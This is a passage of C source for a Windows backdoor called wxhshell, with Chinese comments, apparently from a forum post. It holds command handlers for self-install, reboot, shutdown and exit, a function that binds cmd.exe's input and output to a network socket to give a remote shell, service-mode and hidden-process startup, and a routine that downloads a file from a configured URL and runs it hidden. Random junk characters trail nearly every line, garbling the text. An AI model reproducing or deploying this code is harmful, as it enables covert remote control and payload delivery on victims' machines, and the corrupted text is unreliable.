  case 'i': { ;^ wd_  
    if(Install()) {n3EGSP#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uy_wp^  
    else cxeghy:;U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oq/G`{`\  
    break; %\O#&=$E  
    } tary6K9K+  
  // 卸载 ,y`CRlr:  
  case 'r': { 3FSqd<t;D  
    if(Uninstall()) g3n'aD@'x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iq#b#PYA  
    else P`4]-5gE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2N#$X'8  
    break; <%}QDO8\i  
    } h/eR  
  // 显示 wxhshell 所在路径 !"Yj|Nu6  
  case 'p': { |!|^ v  
    char svExeFile[MAX_PATH]; !  hd</_#  
    strcpy(svExeFile,"\n\r"); |LG4=j.l  
      strcat(svExeFile,ExeFile); k;PAh>8  
        send(wsh,svExeFile,strlen(svExeFile),0); 2A`A\19t  
    break; ^Jp&H\gI.  
    } ha@L94Lq  
  // 重启 @tohNO>  
  case 'b': { "|Fy+'5}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <oKGD50#  
    if(Boot(REBOOT)) l} ^3fQXI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kemw^48ts  
    else { xp'_%n~K@  
    closesocket(wsh); }UJv[  
    ExitThread(0); nZ1zJpBmI  
    } %t=kdc0=_  
    break; +i ?S  
    } +=Jir1SLV  
  // 关机 ,&PE6h n  
  case 'd': { 5 hj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VpfUm?Nq  
    if(Boot(SHUTDOWN)) [u@Jc,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z 2}ah  
    else { Ft=zzoVKg  
    closesocket(wsh); 'crlA~&#/  
    ExitThread(0); c5q9 LQ/  
    } "]'?a$\ky:  
    break; yw[#  
    } 0C<[9Dl.G8  
  // 获取shell >F jR9B  
  case 's': { 7qOa ;^T  
    CmdShell(wsh); 6%`&+Lq  
    closesocket(wsh); |Z\R*b"  
    ExitThread(0); N- e$^pST  
    break; wHZW `  
  } @Q&3L~K"  
  // 退出 .M,RFC  
  case 'x': { ~"pKe~h   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kh~'Cn "O  
    CloseIt(wsh); Mwb/jTp  
    break; r?m+.fJB  
    } ^L1L=c;,  
  // 离开 D.D$#O_n.S  
  case 'q': { 76tdJ!4Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \y6OUM2y  
    closesocket(wsh); /[:dp<  
    WSACleanup(); #Lsnr.80  
    exit(1); ~AY N  
    break; sb:d>6  
        } Y3kA?p0  
  } dca ;'$  
  } eD$M<Eu  
?oZR.D|SZ  
  // 提示信息 MUOa@O,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bQe^Px5 !.  
} 4p;aS$Q  
  } 4v p  
~/NKw:  
  return; g&dPd7  
} IcP)FB 4  
4=uhh  
// shell模块句柄 64Lx -avf  
int CmdShell(SOCKET sock) R [H+qr  
{ Yw _+`,W   
STARTUPINFO si; 0![ +Q4"  
ZeroMemory(&si,sizeof(si)); a{!QOX%K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8u[-'pV!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i'stw6*J  
PROCESS_INFORMATION ProcessInfo; ,F&g5'  
char cmdline[]="cmd"; tg^sCxz9]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RMO,ZVq  
  return 0; ]# t6Jwk  
} 8x`.26p  
xI ,2LGO  
// 自身启动模式 (mxT2"fC  
int StartFromService(void) sGvIXD  
{ q'pK,uNW  
typedef struct /TS=7J#  
{ OY[e.N t&  
  DWORD ExitStatus; Cs2;z:O]  
  DWORD PebBaseAddress; ?!qY,9lhH  
  DWORD AffinityMask; wf, 7==  
  DWORD BasePriority; '=][J_  
  ULONG UniqueProcessId; 6y%0`!  
  ULONG InheritedFromUniqueProcessId; Y@'8[]=0  
}   PROCESS_BASIC_INFORMATION; Gm*X'[\DD  
P"sA  
PROCNTQSIP NtQueryInformationProcess; w\) |  
oJ#,XMKga  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; at2FmBdu C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :Xc@3gF  
O1')nYF7  
  HANDLE             hProcess; tx?dIy;  
  PROCESS_BASIC_INFORMATION pbi; CctJFcEZ  
kw2T>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &A#~)i5gF  
  if(NULL == hInst ) return 0; rD>*j~_+P  
!w BJ,&E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TAjh"JJIV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h|X^dQb]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P`r55@af4  
;?C #IU  
  if (!NtQueryInformationProcess) return 0; a>\vUv*  
Ym;*Y !~[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cqxVAzb  
  if(!hProcess) return 0; UH7jP#W%=  
8[6o (  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o1nURJ!  
= k\J<  
  CloseHandle(hProcess); ETs>`#`6o  
r$)w7Gk<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ">?vir^  
if(hProcess==NULL) return 0; <\?wAjc,  
h gJ[LU|>  
HMODULE hMod; (sWLhUgRX  
char procName[255]; G[jW<'f  
unsigned long cbNeeded; iQ{G(^sZN  
\"hJCP?,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ctcS:<r/3@  
V|\7')Qq  
  CloseHandle(hProcess); O|_h_I-2  
C]Q8:6b  
if(strstr(procName,"services")) return 1; // 以服务启动 ^*fQX1h<  
vloF::1  
  return 0; // 注册表启动 .F+@B\A<  
} DBP9{ x$  
8QMPY[{   
// 主模块 !ct4;.2 D  
int StartWxhshell(LPSTR lpCmdLine) +S Jd@y@fR  
{ h=-"SW  
  SOCKET wsl; 1;VHM'  
BOOL val=TRUE; cX3lt5  
  int port=0; ws4cF N9P?  
  struct sockaddr_in door; W`^@)|9^)  
E!S 78 z:  
  if(wscfg.ws_autoins) Install(); nS>8bub30  
|JCU<_<  
port=atoi(lpCmdLine); (XoH,K?{z  
+>JjvYx}\  
if(port<=0) port=wscfg.ws_port; m.,U:>  
>LDhU%bH  
  WSADATA data; ?7{H|sI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6Aocm R0D'  
o.I6ulY8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l&?ii68/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )=Jk@yj8x  
  door.sin_family = AF_INET; y( y8+ZT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B#9{-t3Vf  
  door.sin_port = htons(port); @IXsy  
(W}bG>!#Q8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >rvQw63\  
closesocket(wsl); Ci rZ+o  
return 1; U(x]O/m  
} m8.U &0  
2 3gPbtq/  
  if(listen(wsl,2) == INVALID_SOCKET) { .9.2Be  
closesocket(wsl); y|wc ,n%L>  
return 1; ?,/U^rf^4  
} z?35=%~w   
  Wxhshell(wsl); (y^vqMz  
  WSACleanup(); 1)Zf3Y8  
}l=xiAF  
return 0; zP<pEI  
<I;2{*QI2  
} ZRYEqSm  
n'emN Ra  
// 以NT服务方式启动 0V?F'<qy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8g7<KKw  
{ -44&#l^}_u  
DWORD   status = 0; j)q\9#sI/(  
  DWORD   specificError = 0xfffffff; &4_qF^9J  
i&n'N8D@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CD8}I85 K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mx=BD'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vhhC> 7  
  serviceStatus.dwWin32ExitCode     = 0; h yv2SxP*  
  serviceStatus.dwServiceSpecificExitCode = 0; 2PG [7u^  
  serviceStatus.dwCheckPoint       = 0; Sf8{h|71  
  serviceStatus.dwWaitHint       = 0; `jOX6_z?I  
P~ &$l2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rXHv`k y  
  if (hServiceStatusHandle==0) return; [<KM?\"1<  
yDGVrc'  
status = GetLastError(); GAAm0;  
  if (status!=NO_ERROR) )rixMl &[  
{ edPUG N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IY*EA4>  
    serviceStatus.dwCheckPoint       = 0; B-r0"MX&  
    serviceStatus.dwWaitHint       = 0; LCQE_}Mh  
    serviceStatus.dwWin32ExitCode     = status; fj&i63?e  
    serviceStatus.dwServiceSpecificExitCode = specificError; >]c*'~G&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SCTA=l.  
    return; K^R,Iu/M  
  } @$z<i `4  
0P]E6hWgg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?^N3&ukkyo  
  serviceStatus.dwCheckPoint       = 0; O]m+u  
  serviceStatus.dwWaitHint       = 0; )YqXRm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T' ~!9Q  
} )l#E}Uz  
^,]B@ t2  
// 处理NT服务事件,比如:启动、停止 !*OJ.W&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .(WQYOMl0  
{ iya"ky~H  
switch(fdwControl) *<!oHEwkN  
{ Y &K;l_  
case SERVICE_CONTROL_STOP: B2O}1.  
  serviceStatus.dwWin32ExitCode = 0; plZ>03(6Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CJ++?hB]X  
  serviceStatus.dwCheckPoint   = 0; ki)#d' }  
  serviceStatus.dwWaitHint     = 0; w[ ~#av9  
  { 6VhjJJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [0D Et   
  } Kde9 $  
  return; 3@]SKfoo1  
case SERVICE_CONTROL_PAUSE: >i6yl5s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9WR6!.y#f  
  break; 3Gip<\$v  
case SERVICE_CONTROL_CONTINUE: fS`$'BQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gatB QwJb9  
  break; cA:*V|YV `  
case SERVICE_CONTROL_INTERROGATE: mbueP.q[?  
  break; .AU)*7Gh  
}; ',S'.U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JGQjw(Xs  
} *H|M;G  
`F>O;>i''  
// 标准应用程序主函数 ~JH:EB:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _hk.2FV:3m  
{ T'b_W,m~,u  
=*LS%WI  
// 获取操作系统版本 %x} O1yV  
OsIsNt=GetOsVer(); $ O5UyKI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )<Hd T  
s S7c!  
  // 从命令行安装 vZBc !AW  
  if(strpbrk(lpCmdLine,"iI")) Install(); E^ SH\5B  
-bU oCF0  
  // 下载执行文件 9*(aU z9j  
if(wscfg.ws_downexe) { |*0<M(YXN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ho *AAg  
  WinExec(wscfg.ws_filenam,SW_HIDE); Dmu/RD5X:  
} *~x/=.}  
0/oyf]HR  
if(!OsIsNt) { 9,"L^W8"k  
// 如果时win9x,隐藏进程并且设置为注册表启动 c=`wg$2:5  
HideProc(); l c '=mA  
StartWxhshell(lpCmdLine); @Rw!'T  
} c7FRI0X  
else 0a"c2J  
  if(StartFromService()) TU 1I} ,  
  // 以服务方式启动 lgtC|k M=  
  StartServiceCtrlDispatcher(DispatchTable); ~((w?Yy"v  
else J":,Vd!*-  
  // 普通方式启动 =%BZ9,l  
  StartWxhshell(lpCmdLine); \R;`zuv   
6efnxxY}sa  
return 0; X7g1:L1Ys  
}
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只看该作者 1 发表于: 2006-10-10
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